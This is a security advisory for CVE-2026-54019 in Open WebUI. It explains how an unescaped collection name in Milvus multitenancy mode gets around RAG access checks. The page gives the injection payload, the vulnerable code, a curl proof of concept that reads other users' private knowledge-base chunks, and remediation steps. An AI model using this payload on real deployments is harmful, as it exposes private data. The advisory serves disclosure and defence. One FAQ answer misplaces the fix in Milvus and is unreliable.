CVE-2026-54019: Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode
RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
- GHSA-h36f-rqpx-j5wx - CVE-2026-44560 - "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resourceid and is interpolated into a Milvus expression without escaping.
An authenticated non-admin user can query:
text x' or resourceid != '' or resourceid == 'x
This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
text resourceid == 'x' or resourceid != '' or resourceid == 'x'
That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
text Open WebUI: v0.9.5, commit 3660bc00f VECTORDB=milvus ENABLEMILVUSMULTITENANCYMODE=true
This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
python backend/openwebui/retrieval/utils.py elif not await Knowledges.getknowledgebyid(name): validated.add(name)
Milvus multitenancy then treats the same name as resourceid and builds unsafe expressions:
python backend/openwebui/retrieval/vector/dbs/milvusmultitenancy.py expr=f"{RESOURCEIDFIELD} == '{resourceid}'"
Affected paths include:
text POST /api/v1/retrieval/query/collection POST /api/v1/retrieval/query/doc
PoC
Request:
bash curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H "Content-Type: application/json" \ --data-binary @- <<'JSON' { "collectionnames": [ "x' or resourceid != '' or resourceid == 'x" ], "query": "anything", "k": 10, "hybrid": false } JSON
Actual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints. 2. Escape or parameterize Milvus expression values before building filters. 3. Reject collection names containing quotes/control characters unless they match a known internal format. 4. Add a regression test for this payload in Milvus multitenancy mode:
text x' or resourceid != '' or resourceid == 'x
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resourceid and is interpolated into a Milvus expression without escaping. This is caused by an incomplete fix for CVE-2026-44560 This vulnerability is fixed in 0.9.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.9.6 - Upgrade
Upgrade
Open WebUIto a version that resolves this vulnerability.Fixed in 0.9.6Patch CVE-2026-44560 - Configuration
Disable Milvus multitenancy mode (the bypass is stated to occur when Milvus multitenancy mode is enabled).
Open WebUI (Milvus multitenancy mode) ENABLE_MILVUS_MULTITENANCY_MODE = false - Configuration
Escape or parameterize Milvus expression values before building filters, because in Milvus multitenancy mode the user-controlled collection name becomes a `resource_id` interpolated into a Milvus expression without escaping.
Open WebUI RAG vector/Milvus query builder (Milvus expression) Milvus expression value handling for resource_id = escaped/parameterized - Configuration
Reject collection names containing quotes/control characters unless they match a known internal format; also do not allow arbitrary unknown collection names in user-controlled RAG query endpoints (return 403 or no unauthorized content).
Open WebUI collection-name validation collection_name acceptance rules = reject unknown/unsafe
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54019?
The severity of CVE-2026-54019 is rated as medium with a score of 6.5.
What type of vulnerability is associated with CVE-2026-54019?
CVE-2026-54019 is an access control list (ACL) bypass vulnerability in Milvus Multitenancy Mode.
How does CVE-2026-54019 affect the security of Milvus?
CVE-2026-54019 allows unauthorized access to file and knowledge base content via RAG vector search, posing a risk of sensitive data exposure.
What steps should be taken to address CVE-2026-54019?
To mitigate CVE-2026-54019, it is recommended to implement additional access control measures and update to the latest patched version of the Milvus software.
Can CVE-2026-54019 be exploited remotely?
Yes, CVE-2026-54019 can be exploited remotely due to the API's accessibility when the security configurations are bypassed.